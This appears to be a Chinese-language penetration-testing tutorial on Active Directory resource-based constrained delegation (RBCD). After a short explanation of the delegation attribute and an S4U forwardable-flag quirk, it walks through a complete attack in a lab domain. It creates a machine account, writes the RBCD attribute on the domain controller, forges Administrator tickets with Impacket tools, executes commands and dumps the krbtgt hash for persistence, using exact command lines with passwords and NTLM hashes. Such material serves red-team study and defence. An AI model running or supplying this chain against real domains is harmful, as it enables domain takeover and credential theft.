references:
约定:
- RBCD:Resource Based Constrained Delegation——基于资源的约束委派
- ataob2oi:msDS-AllowedToActOnBehalfOfOtherIdentity
- S4U请求:如果没有特殊说明,那么指的就是S4U2self和S4U2proxy这两个请求
0x1 简介
RBCD在Windows 2012才引入,08是没有这个概念的
RBCD和之前介绍的约束委派的区别就是,约束是在资源服务器上进行配置的,传统的约束委派中,资源服务器只能被动的接受委派,是否能够委派到资源服务器由委派服务器进行控制
RBCD可以通过msDS-AllowedToActOnBehalfOfOtherIdentity
属性来控制委派服务器是否能够委派任意用户来访问自己
这个属性的值是一个DACL,里面可以包含多个ACE,关于ACL相关知识,请移步这里
如下所示,S-1-5-21-3462766619-4007284874-984777186-1106
是我们控制的账户的objectSid
RBCD是可玩性最高的一种委派,你可以利用它来做很多事情,我们会在下面慢慢介绍
0x2 RBCD的缺陷
在测试过程中,我发现即使是一个不具有任何委派权限的机器账户,只要在ataob2oi
属性的ACL中,就可以正常进行S4U
当前的计算机账户new_cp_user_1
的委派配置如下
正常来讲,使用该账户进行S4U请求,在S4Uself阶段返回的TGS票据是没有forwardable标志位的,因此会导致无法成功发起S4U2proxy请求,但是事实情况是下面这样的:
使用修改过的getST.py执行S4U2self请求,获取到第一阶段的TGS票据
python3 getST.py mother.fucker/new_cp_user_1$ -hashes :8dd1a8983ac3126f6f85a8713b757608 -impersonate Administrator -dc-ip 192.168.25.133 -self
使用describeTicket.py查看票据信息,可以看到,返回的票据中并没有forwardable
标志位
我们使用该TGS票据执行S4U2proxy请求
python3 getST.py mother.fucker/new_cp_user_1$ -hashes :8dd1a8983ac3126f6f85a8713b757608 -impersonate Administrator -spn cifs/WIN-BTAP0QG1S13.mother.fucker -dc-ip 192.168.25.133 -additional-ticket Administrator@new_cp_user_1$@MOTHER.FUCKER.ccache
成功获取到TGS票据
使用该票据访问目标服务器文件系统:
当然,我并不是第一个发现这个问题的人,在Elad Shamir的文章Wagging the Dog中,他提到了这个问题,并且汇报给了微软,不过官方并不会修复这个问题,而是被认为是一种特性,就和之前提到的SPN任意更改问题一样
0x3 使用RBCD获取机器权限
只要我们对目标机器的ataob2oi
属性有写入权限,那么我们就可以直接获取该机器的权限
首先我们需要创建一个机器账户或者给自己控制的普通用户注册一个SPN,这里我们选择创建机器账户
powershell -executionpolicy bypass -command "& { import-module C:\Users\x\create_machine_account.ps1; New-machineaccount -domain mother.fucker -domaincontroller 192.168.64.139 -ldapuser Administrator -ldappass qwe123... -machineaccount user2 }"
将我们控制的用户写入域控制器机器账户的ataob2oi
属性中
写入前:
C:\Users\x>py3 rbcd_attack.py -base dc=mother,dc=fucker -add -ip 192.168.64.139 -user [email protected] -passwd qwe123... -samdest dc$ -samsrc user2$
[*] object sid: S-1-5-21-1703014284-2335082847-473038621-1107
[*] target dn: CN=DC,OU=Domain Controllers,DC=mother,DC=fucker
[+] attribute modify success, long live the king!!!
写入后:
使用getST.py冒充任意可委派的用户申请针对DC的票据
C:\Users\x>py3 getST.py -spn cifs/dc.mother.fucker -dc-ip 192.168.64.139 -impersonate Administrator mother.fucker/user2$:q3etsSEDF.
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation
[*] Getting TGT for user
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator@[email protected]
执行命令:
set KRB5CCNAME=C:\Users\x\Administrator@[email protected]
py3 atexec.py -k -no-pass -dc-ip 192.168.64.139 mother.fucker/[email protected] whoami
如果是域控制器,那么可以使用该票据获取域内任意用户hash
set KRB5CCNAME=C:\Users\x\Administrator@[email protected]
py3 secretsdump.py -k -no-pass -target-ip 192.168.64.139 -dc-ip 192.168.64.139 mother.fucker/[email protected] -just-dc -just-dc-user krbtgt
这种方式可用于持久化